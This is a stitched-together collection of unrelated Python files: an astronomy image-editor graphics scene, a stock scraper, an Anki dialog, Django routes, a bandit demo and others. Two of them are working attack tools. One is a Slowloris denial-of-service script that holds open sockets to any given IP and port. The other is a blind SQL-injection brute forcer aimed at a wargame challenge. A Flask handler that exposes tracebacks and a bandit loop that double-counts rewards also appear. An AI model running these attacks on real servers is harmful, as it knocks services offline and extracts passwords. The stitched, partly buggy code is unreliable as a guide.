from PyQt5 import QtWidgets, QtCore, QtGui
import copy
import uuid

# Layer can have points (normal points, match points), possibly with other
# properties (provided by derived class) (e.g. label for point matching,
# time delay information. The 'transform' is the transformation needed to
# convert the point coordinates to scene coordinates, which is mainly for
# point matching: there, the coordinates are in pixel space and the
# transformation converts them to scene space (where each unit is an arc second)

from grale_editor_cppqt import Layer as LayerCPP

class Layer(LayerCPP):
    def __init__(self, name = "Untitled"):
        super(Layer, self).__init__(name)

    def createGraphicsItem(self):
        raise Exception("Implement this in derived class!")

    @staticmethod
    def fromSettings(settings):
        from pointslayer import PointsLayer
        from imagelayer import RGBImageLayer, FITSImageLayer

        if "rgbfile" in settings:
            return RGBImageLayer.fromSettings(settings)
        if "fitsfile" in settings:
            return FITSImageLayer.fromSettings(settings)
        return PointsLayer.fromSettings(settings)

from grale_editor_cppqt import PointGraphicsItemBase, TriangleItem, LayerGraphicsItemBase as LayerGraphicsItemBaseCPP

class LayerGraphicsItemBase(LayerGraphicsItemBaseCPP):
    def __init__(self, layer, pointType, childrenBoundingRect, parent = None):
        super(LayerGraphicsItemBase, self).__init__(layer, pointType, childrenBoundingRect, parent)

    def arePointsVisible(self):
        s = self.scene()
        if not s:
            return True
        return s.areMatchPointsVisible()

    # TODO: rename/remove this?
    def getScenePosition(self, pos):
        p = self.getLayer().getImageTransform().map(pos[0], pos[1])
        return list(p)

    # TODO: rename/remove this?
    def getPixelPosition(self, pos):
        p = self.getLayer().getImageTransform().inverted()[0].map(pos[0], pos[1])
        return list(p)

class GraphicsView(QtWidgets.QGraphicsView):
    def __init__(self, scene, initialZoom = 8.0, parent = None):
        super(GraphicsView, self).__init__(parent)

        self.setMouseTracking(True)

        self.setViewportUpdateMode(QtWidgets.QGraphicsView.BoundingRectViewportUpdate)
        self.setRenderHint(QtGui.QPainter.Antialiasing)
        self.setDragMode(QtWidgets.QGraphicsView.RubberBandDrag)

        self.setBackgroundBrush(QtCore.Qt.black)
        self.setScene(scene)

        self.setTransform(QtGui.QTransform(initialZoom, 0, 0, initialZoom, 0, 0))
        self.updateAxisOrientation()

        self.show()

    def updateAxisOrientation(self):
        zoom = self.getScale()
        scene = self.scene()
        x = scene.getAxisDirection()
        self.setTransform(QtGui.QTransform(x*zoom, 0, 0, -zoom, 0, 0), False)
        scene.onScaleChanged(zoom)

    def getCenter(self):
        return self.mapToScene(self.viewport().rect().center())

    def wheelEvent(self, event):
        if event.modifiers()&QtCore.Qt.ControlModifier:
            event.accept()

            #print(event.angleDelta())
            point = event.pos()
            pointPos = self.mapToScene(point)

            scaleFactor = 2**(-event.angleDelta().y() / 1200.0)
            self.scaleView(scaleFactor)

            newPointPos = self.mapFromScene(pointPos)
            diff = newPointPos-point
            diffScene = self.mapToScene(diff) - self.mapToScene(QtCore.QPoint(0,0))
            currentCenter = self.getCenter()

            self.centerOn(currentCenter+diffScene)
        else:
            super(GraphicsView, self).wheelEvent(event)

    def getScale(self):
        factor = self.transform().mapRect(QtCore.QRectF(0, 0, 1, 1)).width()
        return factor

    def setScale(self, factor):
        if factor < 0.01 or factor > 10000:
            return

        x = self.scene().getAxisDirection()
        t = QtGui.QTransform(x*factor, 0, 0, -factor, 0, 0)
        self.setTransform(t, False)

        self.scene().onScaleChanged(self.getScale())

    def scaleView(self, scaleFactor):
        factor = self.transform().scale(scaleFactor, scaleFactor).mapRect(QtCore.QRectF(0, 0, 1, 1)).width()
        if factor < 0.01 or factor > 10000:
            return

        self.scale(scaleFactor, scaleFactor)

        self.scene().onScaleChanged(self.getScale())

        # TODO:emit signalZoomLevel(factor);

    def resizeEvent(self, evt):
        oldW, oldH = evt.oldSize().width(), evt.oldSize().height()
        if oldW < 1 or oldH < 1:
            return

        centerPos = self.mapToScene(QtCore.QPoint(oldW//2, oldH//2))
        self.centerOn(centerPos)

class AxesGraphicsItem(QtWidgets.QGraphicsItemGroup):
    def __init__(self, parent):
        super(AxesGraphicsItem, self).__init__(parent)
        linePen = QtGui.QPen()
        linePen.setColor(QtCore.Qt.red)
        linePen.setWidth(2)
        linePen.setCosmetic(True)
        self.line1 = QtWidgets.QGraphicsLineItem(-1000,0, 1000, 0, self)
        self.line1.setPen(linePen)
        self.line2 = QtWidgets.QGraphicsLineItem(0,-1000, 0, 1000, self)
        self.line2.setPen(linePen)
        self.setZValue(1000000)

from grale_editor_cppqt import SceneBase

class GraphicsScene(SceneBase):

    def __init__(self, doubleClickTimeout = 200): # set timeout to zero to disable double click detection within interval
        super(GraphicsScene, self).__init__()

        self.axes = AxesGraphicsItem(None)
        self.addItem(self.axes)

        self.moveEventCount = 0
        self.moveItem = None
        self.moveItems = [ ]
        self.moveClickStartPos = None
        self.selectMode = False
        self.startedDrawing = False

        self.doubleClickTimer = QtCore.QTimer(self)
        self.doubleClickTimer.setInterval(doubleClickTimeout)
        self.doubleClickTimer.setSingleShot(True)
        self.doubleClickCounter = 0
        self.doubleClickTimer.timeout.connect(self.onDoubleClickTimerTimeout)
        self.doubleClickStartItem = None
        self.doubleClickStartScreenPos = (0, 0)
        self.doubleClickStartScenePos = (0, 0)

        self.lastClickModifier = None
        self.isRightClick = False
        self.rightClickScreenPos = None

        self.dialogWidget = None

        self.axisDirection = -1
        self.pointScale = 1.0
        self.pointPixelSize = 32
        self.pointSizeFixed = True
        self.pointSceneSize = 1.0

        self.keyInfo = None

        self.matchPointsVisible = True

    def setDialogWidget(self, w):
        self.dialogWidget = w

    def getDialogWidget(self):
        return self.dialogWidget

    def warning(self, title, text = None):
        if text is None:
            text = title
        QtWidgets.QMessageBox.warning(self.dialogWidget, title, text)

    def question(self, title, text = None):
        if text is None:
            text = title
        return QtWidgets.QMessageBox.question(self.dialogWidget, title, text) == QtWidgets.QMessageBox.Yes

    def getAxesItem(self):
        return self.axes

    def areAxesVisible(self):
        return self.axes.isVisible()

    def setAxesVisible(self, visible = True):
        self.axes.setVisible(visible)

    def getAxisDirection(self):
        return self.axisDirection

    def setAxisLeft(self, v = True):
        self.axisDirection = -1 if v else 1
        for v in self.views():
            v.updateAxisOrientation()

    def isAxisLeft(self):
        return True if self.axisDirection < 0 else False

    def _getPointTransform(self):
        s = self.pointScale if self.pointSizeFixed else self.pointSceneSize
        return QtGui.QTransform(s*self.axisDirection, 0, 0, s, 0, 0)

    def _updatePointScale(self):
        t = self._getPointTransform()
        self.setPointTransform(t)

    def setPointSizeFixed(self, v):
        self.pointSizeFixed = True if v else False
        self._updatePointScale()

    def isPointSizeFixed(self):
        return self.pointSizeFixed

    def setPointSizePixelSize(self, p):
        self.pointPixelSize = p

    def getPointSizePixelSize(self):
        return self.pointPixelSize

    def setPointSizeSceneSize(self, p):
        self.pointSceneSize = p

    def getPointSizeSceneSize(self):
        return self.pointSceneSize

    def onScaleChanged(self, f):
        if self.pointSizeFixed:
            self.pointScale = self.pointPixelSize/(2.2*f)
            self._updatePointScale()

    def mousePressEvent(self, evt):

        self.setFocus(True)

        self.lastClickModifier = self._getModifierDict(evt.modifiers())

        if evt.button() == 1:
            if evt.modifiers() & QtCore.Qt.ShiftModifier:
                self.selectMode = True
                return # Don't accept, let default handle this

            evt.accept() # note: accept to disable selection

            pos = evt.scenePos()
            self.moveEventCount = 0
            self.moveClickStartPos = pos
            self.isRightClick = False

            items = self.items(pos)
            for item in items:

                if type(item) == QtWidgets.QGraphicsPixmapItem:
                    # If this is the case, then we're seeing the image/fits, and we
                    # don't care if there's a point item that's behind that
                    break

                item = PointGraphicsItemBase.getPointGraphicsItem(item)
                if item and item.isMovable():

                    self.moveItem = item
                    self.moveItems = [ (item, item.pos()) ]

                    if self.lastClickModifier["control"]:
                        for i in self.selectedItems():
                            i = PointGraphicsItemBase.getPointGraphicsItem(i)
                            if i and item.isMovable() and i != item:
                                self.moveItems.append( (i, i.pos()) )

                    return

            self.moveItem = None
            self.moveItems = [ ]

        elif evt.button() == 2: # Right click
            self.isRightClick = True
            self.rightClickScreenPos = evt.screenPos()

    def _singleClickHandlerWrapper(self, item, pos):
        if item is None: # may still be a triangle
            for item in self.items(QtCore.QPointF(pos[0], pos[1])):
                item = TriangleItem.getTriangleItem(item)
                if item:
                    self.mouseHandler_click(item, pos, self.lastClickModifier)
                    break
            else:
                self.mouseHandler_click(None, pos, self.lastClickModifier)
        else:
            self.mouseHandler_click(item, pos, self.lastClickModifier)

    def onDoubleClickTimerTimeout(self):
        if self.doubleClickCounter == 1:
            self._singleClickHandlerWrapper(self.doubleClickStartItem, self.doubleClickStartScenePos)
        elif self.doubleClickCounter == 2:
            self.mouseHandler_doubleClick(self.doubleClickStartItem, self.doubleClickStartScenePos, self.lastClickModifier)

        # Don't do anything if there are more clicks, just reset
        self.doubleClickCounter = 0
        self.doubleClickStartItem = None
        self.doubleClickStartScreenPos = [0, 0]
        self.doubleClickStartScenePos = [0, 0]

    def basicSingleClickHandler(self, movableItem, screenPos, scenePos):
        if not self.doubleClickTimer.isActive():
            self.doubleClickCounter = 1
            self.doubleClickStartItem = movableItem
            self.doubleClickStartScreenPos = [screenPos.x(), screenPos.y()]
            self.doubleClickStartScenePos = [scenePos.x(), scenePos.y()]
            self.doubleClickTimer.start()
            return

        dist2 = (screenPos.x() - self.doubleClickStartScreenPos[0])**2 + (screenPos.y() - self.doubleClickStartScreenPos[1])**2
        if dist2 <= 9: # TODO: make this more configurable
            self.doubleClickCounter += 1
            return

        # Not the same position, trigger single click, stop the timer and restart with new position
        self.doubleClickTimer.stop()
        self._singleClickHandlerWrapper(self.doubleClickStartItem, self.doubleClickStartScenePos)
        self.basicSingleClickHandler(movableItem, screenPos, scenePos)

    def mouseReleaseEvent(self, evt):

        if self.selectMode: # Don't accept, let default handle this
            self.selectMode = False # end selection
            return

        evt.accept()
        pos = evt.scenePos()

        if self.isRightClick:
            rightClickPoint = None
            for item in self.items(pos):
                item = PointGraphicsItemBase.getPointGraphicsItem(item)
                if item:
                    rightClickPoint = item
                    break

            screenPos = evt.screenPos()
            if (screenPos.x()-self.rightClickScreenPos.x())**2 + (screenPos.y()-self.rightClickScreenPos.y())**2 <= 9: # TODO: make configurable
                self.mouseHandler_rightClick(rightClickPoint, [pos.x(), pos.y()], self.lastClickModifier)

            self.isRightClick = False
            self.rightClickScreenPos = None
            return

        if self.moveEventCount == 0: #  or self.moveItem is None:
            self.basicSingleClickHandler(self.moveItem, evt.screenPos(), pos)
        else:
            moveId = uuid.uuid4()
            for i, origPos in self.moveItems:
                i.setFlag(QtWidgets.QGraphicsItem.ItemSendsScenePositionChanges, False)
                itemPos = pos - self.moveClickStartPos + origPos
                scenePos = [pos.x(), pos.y()] if i == self.moveItem else None
                self.mouseHandler_moved(i, scenePos, [itemPos.x(), itemPos.y()], moveId)

            if not self.moveItems:
                self.mouseHandler_stopDrawing([pos.x(), pos.y()])

        self.moveItem = None
        self.moveItems = [ ]
        self.moveClickStartPos = None

    def mouseMoveEvent(self, evt):

        pos = evt.scenePos()
        self.onMousePosition([pos.x(), pos.y()])

        if self.selectMode:
            return

        evt.accept()

        self.moveEventCount += 1

        itemPos = None
        for i, origPos in self.moveItems:
            i.setFlag(QtWidgets.QGraphicsItem.ItemSendsScenePositionChanges)
            itemPos = pos - self.moveClickStartPos + origPos
            i.setPos(itemPos)
            i.setSelected(True)
            itemPos = [itemPos.x(), itemPos.y()]

        if self.moveClickStartPos and not self.moveItems: # nothing to move, drawing mode
            if self.moveEventCount == 1: # send start drawing as well
                self.startedDrawing = self.mouseHandler_startDrawing([self.moveClickStartPos.x(), self.moveClickStartPos.y()], self.lastClickModifier)

            if self.startedDrawing:
                self.mouseHandler_drawing([pos.x(), pos.y()])

    def mouseDoubleClickEvent(self, evt):
        #print("Double click")
        evt.accept() # ignore it

    def keyPressEvent(self, evt):
        if self.focusItem():
            super(GraphicsScene, self).keyPressEvent(evt)
            return

        evt.accept()
        if not evt.isAutoRepeat():
            self.keyInfo = (evt.key(), QtGui.QKeySequence(evt.key()).toString(), evt.modifiers())

    @staticmethod
    def _getModifierDict(mod):
        modInfo = { }
        modInfo["shift"] = True if mod&QtCore.Qt.ShiftModifier else False
        modInfo["alt"] = True if mod&QtCore.Qt.AltModifier else False
        modInfo["control"] = True if mod&QtCore.Qt.ControlModifier else False
        modInfo["meta"] = True if mod&QtCore.Qt.MetaModifier else False
        return modInfo

    def keyReleaseEvent(self, evt):
        if self.focusItem():
            super(GraphicsScene, self).keyReleaseEvent(evt)
            return

        evt.accept()
        if evt.isAutoRepeat():
            return

        if self.keyInfo: # and self.keyInfo[0] == evt.key(): # this extra check fails with command key on OS X
            modInfo = self._getModifierDict(self.keyInfo[2])
            self.keyHandler_clicked(self.keyInfo[0], self.keyInfo[1], modInfo)
        self.keyInfo = None

    # Reports mouse cursor position
    def onMousePosition(self, pos):
        #print("Cursor at pos", pos)
        pass

    # Override these in derived class
    def keyHandler_clicked(self, key, keyStr, modifiers):
        #print(key, modifiers)
        pass

    def mouseHandler_moved(self, movableItem, cursorPos, itemPos, moveId):
        #print("Item", movableItem, "moved to", cursorPos, itemPos)
        pass

    def mouseHandler_click(self, movableItem, pos, modInfo):
        if movableItem:
            if modInfo["control"]:
                movableItem.setSelected(not movableItem.isSelected())
            else:
                sel = True if movableItem.isSelected() else False
                for i in self.selectedItems():
                    i.setSelected(False)

                if not sel:
                    movableItem.setSelected(True)

        else:
            for i in self.selectedItems():
                i.setSelected(False)

    def mouseHandler_doubleClick(self, movableItem, pos, modInfo):
        #print("Item", movableItem, "double clicked at", pos)
        pass

    def mouseHandler_startDrawing(self, pos, modInfo):
        #print("START:", pos)
        return False # Indicate that we shouldn't start drawing

    def mouseHandler_drawing(self, pos):
        #print("DRAWING:", pos)
        pass

    def mouseHandler_stopDrawing(self, pos):
        #print("STOP:", pos)
        pass

    def mouseHandler_rightClick(self, pointItem, pos, modInfo):
        #print("Right click", pointItem, pos, modInfo)
        pass

    @staticmethod
    def _getWidthHeight(w, h, aspect):
        if w is None:
            if h is None:
                raise Exception("Both width and height are not set")
            w = round(h*aspect)
        else: # w is not None
            if h is None:
                h = round(w/aspect)
        return w, h

    # Note that this does not turn off any objects in the scene, and should
    # always yield an image that corresponds to the specified region as it is
    # shown (same x-axis orientation). No difference is made if the x,y
    # coordinates in bottomleft/topright are swapped
    def getSceneRegionImage(self, bottomLeft, topRight, widthPixels = None, heightPixels = None):

        center = [ (bottomLeft[i] + topRight[i])/2.0 for i in range(2) ]
        sizes = [ abs(topRight[i] - bottomLeft[i]) for i in range(2) ]
        if sizes[0] == 0 or sizes[1] == 0:
            raise Exception("Region size is zero")

        widthPixels, heightPixels = self._getWidthHeight(widthPixels, heightPixels, sizes[0]/sizes[1])
        pixmap = QtGui.QPixmap(widthPixels, heightPixels)
        pixmap.fill(QtCore.Qt.black)

        painter = QtGui.QPainter(pixmap)
        painter.setRenderHint(QtGui.QPainter.Antialiasing)

        pixRegion = QtCore.QRectF(0, 0, widthPixels, heightPixels)
        sceneRegion = QtCore.QRectF(center[0]-sizes[0]/2.0, center[1]-sizes[1]/2.0, sizes[0], sizes[1])
        self.render(painter, pixRegion, sceneRegion, QtCore.Qt.IgnoreAspectRatio)
        painter.end()

        img = pixmap.toImage()
        img = img.mirrored(self.isAxisLeft(), True)
        return img

    # This does take the ordering in x,y coords into account
    def getSceneRegionNumPyArray(self, bottomLeft, topRight, widthPixels = None, heightPixels = None, grayScale = False):
        import numpy as np

        img = self.getSceneRegionImage(bottomLeft, topRight, widthPixels, heightPixels)
        if grayScale:
            img = img.convertToFormat(QtGui.QImage.Format_Grayscale8)
        else:
            img = img.convertToFormat(QtGui.QImage.Format_RGB32)

        ptr = img.constBits()
        ptr.setsize(img.byteCount())
        if grayScale:
            arr = np.array(ptr).reshape(img.height(), img.width()).copy() # TODO: is copy necessary?
        else:
            arr = np.array(ptr).reshape(img.height(), img.width(), 4).copy() # TODO: is copy necessary?
            arr2 = np.empty((img.height(), img.width(), 3), dtype = arr.dtype)
            arr2[:,:,0] = arr[:,:,2]
            arr2[:,:,1] = arr[:,:,1]
            arr2[:,:,2] = arr[:,:,0]
            arr = arr2

        swapUD = True
        if bottomLeft[1] > topRight[1]: # need another swap
            swapUD = not swapUD

        swapLR = self.isAxisLeft()
        if bottomLeft[0] > topRight[0]:
            swapLR = not swapLR

        if swapUD:
            arr = np.flip(arr, 0)
        if swapLR:
            arr = np.flip(arr, 1)
        return arr

    def areMatchPointsVisible(self):
        return self.matchPointsVisible

    def setMatchPointsVisible(self, v):
        from imagelayer import ImageGraphicsItem

        self.matchPointsVisible = v
        for i in self.items():
            if issubclass(type(i), ImageGraphicsItem):
                i.setPointsVisible(v)

    @staticmethod
    def _maskImage(img, bottomLeft, topRight, border):
        import numpy as np

        s = topRight-bottomLeft
        S = np.array([img.width(), img.height()], dtype=np.double)
        pixBorder = [ np.round((p-bottomLeft)/s * S + 0.5).astype(int) for p in border ]
        pixBorder = [ QtCore.QPoint(x, y) for x,y in pixBorder ]

        region = QtGui.QRegion(QtGui.QPolygon(pixBorder))
        resImg = QtGui.QImage(img.width(), img.height(), QtGui.QImage.Format_ARGB32)
        resImg.fill(QtCore.Qt.transparent)

        pm = QtGui.QPixmap.fromImage(resImg)
        painter = QtGui.QPainter(pm)
        painter.setClipRegion(region)
        painter.drawImage(0, 0, img)
        del painter

        return pm.toImage()

    # if one of the pixels is None, the other will be calculated based on aspect ratio
    # returns image as it is seen, taking into account the axis direction
    def getSceneRegionImage_CenterSize(self, centerArcsec, sizeArcsec, widthHeightPixels, border = None):
        centerX, centerY = centerArcsec
        widthArcsec, heightArcsec = sizeArcsec
        widthPixels, heightPixels = widthHeightPixels

        if widthPixels is None or heightPixels is None:
            numPix = widthPixels if heightPixels is None else heightPixels
            if widthArcsec > heightArcsec:
                widthPixels = numPix
                heightPixels = round(numPix*heightArcsec/widthArcsec)
            else:
                widthPixels = round(numPix*widthArcsec/heightArcsec)
                heightPixels = numPix

        minXY = [ centerX-widthArcsec/2.0, centerY-heightArcsec/2.0 ]
        maxXY = [ centerX+widthArcsec/2.0, centerY+heightArcsec/2.0 ]
        img = self.getSceneRegionImage(minXY, maxXY, widthPixels, heightPixels)
        img = img.mirrored(self.isAxisLeft(), True)

        if border is not None:
            import numpy as np
            img = GraphicsScene._maskImage(img, np.array(minXY), np.array(maxXY), border)

        return img

    def getSceneRegionImage_minMax(self, minXY, maxXY, widthHeightPixels, border = None):
        minx, miny = minXY
        maxx, maxy = maxXY

        centerX, centerY = (minx+maxx)/2.0, (miny+maxy)/2.0
        widthArcsec, heightArcsec = abs(maxx-minx), abs(maxy-miny)

        return self.getSceneRegionImage_CenterSize([centerX, centerY], [widthArcsec, heightArcsec],
                                                   widthHeightPixels, border)


import sys
import random
import socket
import time

# to determine you user_agent: https://www.whatismybrowser.com/detect/what-is-my-user-agent
user_agent = [
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36']

def start_socket(ip, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)

    s.connect((ip, int(port)))
    s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))

    for agent in user_agent:
        s.send("User-Agent: {}\r\n".format(agent).encode("utf-8"))

    s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))

    return s

def main():
    ip = sys.argv[1]
    port = sys.argv[2]
    socket_count = int(sys.argv[3])
    timer = int(sys.argv[4])
    sockets = []

    for i in range(int(socket_count)):
        try:
            s = start_socket(ip, port)
        except socket.error:
            break
        sockets.append(s)

    while True:
        try:
            print("keeping " + str(len(sockets)) + " open with keep-alive headers")

            for existingSocket in sockets:
                try:
                    existingSocket.send("X-a {}\r\n".format(random.randint(1, 5000)).encode('UTF-8'))
                except socket.error:
                    sockets.remove(existingSocket)

            for newSocket in range(socket_count - len(sockets)):
                try:
                    s = start_socket(ip, port)
                    if s:
                        sockets.append(s)
                except socket.error:
                    break

            time.sleep(timer)

        except (KeyboardInterrupt, SystemExit):
            print("Stopping Slowloris")
            break

main()


import requests
import pandas as pd
import pprint

import datetime
from datetime import timedelta
import calendar

time_format_api = "%Y/%m/%d"
time_format_string = "%Y%m%d"

def taiwan_year_to_year(tw_year):
        dates = tw_year.split('/')
        dates[0] = str(int(dates[0])+1911)
        return '/'.join(dates)

def string_to_datetime(string_date,request=False):
    datetime_format = time_format_api if request else time_format_string
    return datetime.datetime.strptime(string_date,datetime_format )

def datetime_to_string(date):
    return date.strftime(time_format_string)

def get_stock_price_monthly(stock_id,date,end=None):
    print("get",stock_id, "from",date)
    url = 'http://www.twse.com.tw/exchangeReport/STOCK_DAY?date=%s&stockNo=%s' % ( date, str(stock_id))
    r=requests.get(url)
    data = r.json()
    def process_datetime(all_data):
        all_data[0] = string_to_datetime(taiwan_year_to_year(all_data[0]),True)
        return all_data

    data['data']= list(map(process_datetime,data['data']))

    if end:
        dt_end = string_to_datetime(end)
        data['data']=list(filter(lambda in_data:  in_data[0]<= dt_end,data['data']))
    return data

def add_months(sourcedate,months):
    month = sourcedate.month - 1 + months
    year = sourcedate.year + month // 12
    month = month % 12 + 1
    day = min(sourcedate.day,calendar.monthrange(year,month)[1])
    return datetime.datetime(year,month,day,0,0)

def get_stock_price(stock_id, from_date, to_date=None):
    date_from =string_to_datetime(from_date)
    if to_date:
        date_to = string_to_datetime(to_date)
    else:
        date_to = datetime.datetime.now()
    date_check = date_from
    prices= {'data':[]}
    while date_check<= date_to:
        price_data = get_stock_price_monthly(stock_id, datetime_to_string(date_check),datetime_to_string(date_to))
        prices['data'].extend(price_data['data'])
        if 'fields' not in prices:
            prices['fields'] = price_data['fields']
        date_check = add_months(date_check,1)
    return prices

def get_price_report(stock_id, from_date, to_date=None):
    prices_dict = get_stock_price(stock_id, from_date,to_date)
    df = pd.DataFrame({ e[0]: e[1:] for e in prices_dict['data']}, index=prices_dict['fields'][1:])
    df = df.transpose()
    return df

def datetime_to_google_time(time):
    month_abbr = {'Jan': 1, 'Feb': 2, 'Mar': 3, 'Apr': 4,
                  'May': 5, 'Jun': 6, 'Jul': 7, 'Aug': 8,
                  'Sep': 9, 'Oct': 10, 'Nov': 11, 'Dec': 12}
    #year=time.strftime("%Y")
    return time.strftime("%d-%b-%y")

def twse_to_google(twse_dataframe, to_csv_filename=None):
    google_dataframe = pd.DataFrame(columns=['Date','Open','High','Low','Close','Volume'])
    #print(twse_dataframe.index.values)
    google_dataframe['Date']= twse_dataframe.index.values
    #twse_dataframe.index.apply(lambda t:t.strftime("%d-%b-%y"))
    google_dataframe['Open']=twse_dataframe['開盤價'].values
    google_dataframe['High']=twse_dataframe['最高價'].values
    google_dataframe['Low']=twse_dataframe['最低價'].values
    google_dataframe['Close']=twse_dataframe['收盤價'].values
    google_dataframe['Volume'] = twse_dataframe['成交股數'].values
    google_dataframe['Date']= google_dataframe['Date'].apply(lambda t:t.strftime("%d-%b-%y"))
    if to_csv_filename:
        google_dataframe.to_csv(to_csv_filename,index=False)
    return google_dataframe

if  __name__ == "__main__":
	df = get_price_report(2330,'20180101','20180312')
	print(df.describe())
	print(df)
	print(twse_to_google(df))


import cv2
import numpy as np
import matplotlib.pyplot as plt

# Load an image
img = cv2.imread('opencv_logo.png', cv2.IMREAD_COLOR)

# Apply the Bilateral filter
blur = cv2.bilateralFilter(img,5,25,25)

plt.subplot(1,2,1)
plt.imshow(img)
plt.subplot(1,2,2)
plt.imshow(blur)
plt.show()


from aqt.qt import *
import aqt
from aqt.utils import showInfo, getOnlyText, shortcut, restoreGeom, saveGeom
from anki.hooks import addHook, remHook

class StudyDeck(QDialog):
    def __init__(self, mw, names=None, accept=None, title=None,
                 help="studydeck", current=None, cancel=True,
                 parent=None, dyn=False, buttons=[], geomKey="default"):
        QDialog.__init__(self, parent or mw)
        self.mw = mw
        self.form = aqt.forms.studydeck.Ui_Dialog()
        self.form.setupUi(self)
        self.form.filter.installEventFilter(self)
        self.cancel = cancel
        addHook('reset', self.onReset)
        self.geomKey = "studyDeck-"+geomKey
        restoreGeom(self, self.geomKey)

        if title:
            self.setWindowTitle(title)
        if not names:
            names = sorted(self.mw.col.decks.allNames(dyn=dyn))
            self.nameFunc = None
            self.origNames = names
        else:
            self.nameFunc = names
            self.origNames = names()
        self.name = None

        self.form.buttonBox.setStandardButtons(QDialogButtonBox.Cancel)
        self.ok = self.form.buttonBox.addButton(
            accept or _("Review"), QDialogButtonBox.AcceptRole)
        self.setWindowModality(Qt.WindowModal)
        self.form.filter.textEdited.connect(self.redraw)

        self.show()
        # redraw after show so position at center correct
        self.redraw("", current)
        self.exec_()

    def eventFilter(self, obj, evt):
        if evt.type() == QEvent.KeyPress:
            if evt.key() == Qt.Key_Up:
                c = self.form.list.count()
                row = self.form.list.currentRow() - 1
                if row < 0:
                    row = c - 1
                self.form.list.setCurrentRow(row)
                return True
            elif evt.key() == Qt.Key_Down:
                c = self.form.list.count()
                row = self.form.list.currentRow() + 1
                if row == c:
                    row = 0
                self.form.list.setCurrentRow(row)
                return True
        return False

    def redraw(self, filt, focus=None):
        self.filt = filt
        self.focus = focus
        self.names = [n for n in self.origNames if self._matches(n, filt)]
        l = self.form.list
        l.setSelectionMode(2) #2=MultiSelection, 3=ExtendedSelection
        l.clear()
        l.addItems(self.names)
        if focus in self.names:
            idx = self.names.index(focus)
        else:
            idx = 0
        l.setCurrentRow(idx)
        l.scrollToItem(l.item(idx), QAbstractItemView.PositionAtCenter)

    def _matches(self, name, filt):
        name = name.lower()
        filt = filt.lower()
        if not filt:
            return True
        for word in filt.split(" "):
            if word not in name:
                return False
        return True

    def onReset(self):
        # model updated?
        if self.nameFunc:
            self.origNames = self.nameFunc()
        self.redraw(self.filt, self.focus)

    def accept(self):
        saveGeom(self, self.geomKey)
        remHook('reset', self.onReset)
        row = self.form.list.currentRow()
        if row < 0:
            showInfo(_("Please select something."))
            return
        self.name = self.names[self.form.list.currentRow()]
        QDialog.accept(self)

    def reject(self):
        self.name = None
        saveGeom(self, self.geomKey)
        remHook('reset', self.onReset)
        QDialog.reject(self)

    def getSelectedDids(self):
        d=[]
        for sel in self.form.list.selectedItems():
            name=sel.text()
            deck=self.mw.col.decks.byName(name)
            d.append(deck['id'])
        return d


from requests import get
import string

print("#### Lord of SQL Injection - Assassin ####\n")

url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"

cookies = dict(PHPSESSID="5aho86v18hbq6v60moq18la7o8s")

abc = string.digits + string.ascii_letters

result = ""

print("\n\n#### Starting Blind SQL Injection ####\n")
identify = 0
for i in range(1,20):
    for a in abc:
        param = "?pw=" + result + a + "%%%"
        new_url = url + param
        r = get(new_url, cookies=cookies)
        print("Testing char" + a)
        if r.text.find("admin") > 0:
            identify = 1
            print(str(i) + "Find char'" + a )
            result += a
            if r.text.find("
ASSASSIN Clear!
") > 0:
                print("clear")

    if len(result) < (i-1):
        break

print("\n\n#### RESULT ####")
print("pw : " + result)


# -*- coding:utf-8 -*-
import traceback
from flask import Flask, request
#from flask.ext.babel import Babel, gettext
from rrd import config

# ----creat app----
app = Flask(__name__)
@app.errorhandler(Exception)
def all_exception_handler(error):
    tb = traceback.format_exc()
    err_tip = gettext('Temporary error, please contact your administrator.')
    err_msg = err_tip + '\n\nError: %s\n\nTraceback:\n%s' % (error, tb)
    return '<pre>' + err_msg + '</pre>', 500


from django.urls import path
from rest_framework import routers

from zinc import views

router = routers.DefaultRouter(trailing_slash=False)
router.register('policies', views.PolicyViewset, 'policy')
router.register('zones', views.ZoneViewset, 'zone')

urlpatterns = router.urls + [
    path('zones/<int:zone_id>/records/<str:record_id>',
        views.RecordDetail.as_view(), name='record-detail'),
    path('zones/<int:zone_id>/records',
        views.RecordCreate.as_view(), name='record-create'),
]


#Epsilon_Greedy Method Implementation to solve Multi Arm Bandit

#Importing the libraries
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt

from math import *

#Importing the dataset
dataset = pd.read_csv("Ads_CTR_Optimisation.csv")
#It is known optimal choice is Ad Indexed 4
num_bandits = np.shape(dataset)[1]
num_trials = np.shape(dataset)[0]

total_reward = 0
regret = 0

reward_bandits = [0]*num_bandits
num_chosen_bandits = [0]*num_bandits
mean_reward = [0]*num_bandits

chosen_array = []

epsilon = 0.20

for trial in range(0,num_trials) :

    # Decide - Exploration or Exploitation
    choice = np.random.uniform(0,1)
    #print(choice)

    if choice < epsilon :
        chosen_bandit = floor(np.random.uniform(0,num_bandits))

    else :
        chosen_bandit = np.argmax(mean_reward)

    num_chosen_bandits[chosen_bandit]+=1
    reward = dataset.values[trial,chosen_bandit]
    total_reward+=reward
    reward_bandits[chosen_bandit]+=reward
    reward_bandits[chosen_bandit]+=reward
    mean_reward[chosen_bandit] = reward_bandits[chosen_bandit]/num_chosen_bandits[chosen_bandit]
    chosen_array.append(chosen_bandit)

    regret+=(dataset.values[trial,4]-reward)

optimal_bandit = np.argmax(num_chosen_bandits)

print("Optimal bandit is "+str(optimal_bandit))
print("Regret" + str(regret) +"Total Reward" + str(total_reward))

plt.hist(num_chosen_bandits)


import torch
from torch import utils
from torchvision import datasets, transforms
import matplotlib
import matplotlib.pyplot as plt
import numpy as np

def get_dataset_mean_std(dataset):
    loader = utils.data.DataLoader(
        dataset,
        batch_size=1000,
        num_workers=4,
        shuffle=False
    )

    mean = 0.
    std = 0.
    nb_samples = 0.
    for data, data_y in loader:
        batch_samples = data.size(0)
        data = data.view(batch_samples, data.size(1), -1)
        mean += data.mean(2).sum(0)
        std += data.std(2).sum(0)
        nb_samples += batch_samples

    mean /= nb_samples
    std /= nb_samples

    return mean, std

mnist_pre_transform = transforms.Compose([
    transforms.ToTensor()
])

